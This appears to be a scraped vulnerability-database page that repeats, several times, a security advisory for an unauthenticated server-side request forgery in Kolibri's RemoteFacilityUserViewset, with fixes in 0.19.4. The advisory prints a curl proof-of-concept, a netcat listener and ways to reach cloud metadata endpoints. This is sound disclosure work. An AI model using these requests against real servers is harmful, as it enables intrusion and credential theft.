The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Aug 06, 2025

0.18.1 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Jun 18, 2025

0.18.0 minor

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 28, 2025

0.17.5 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


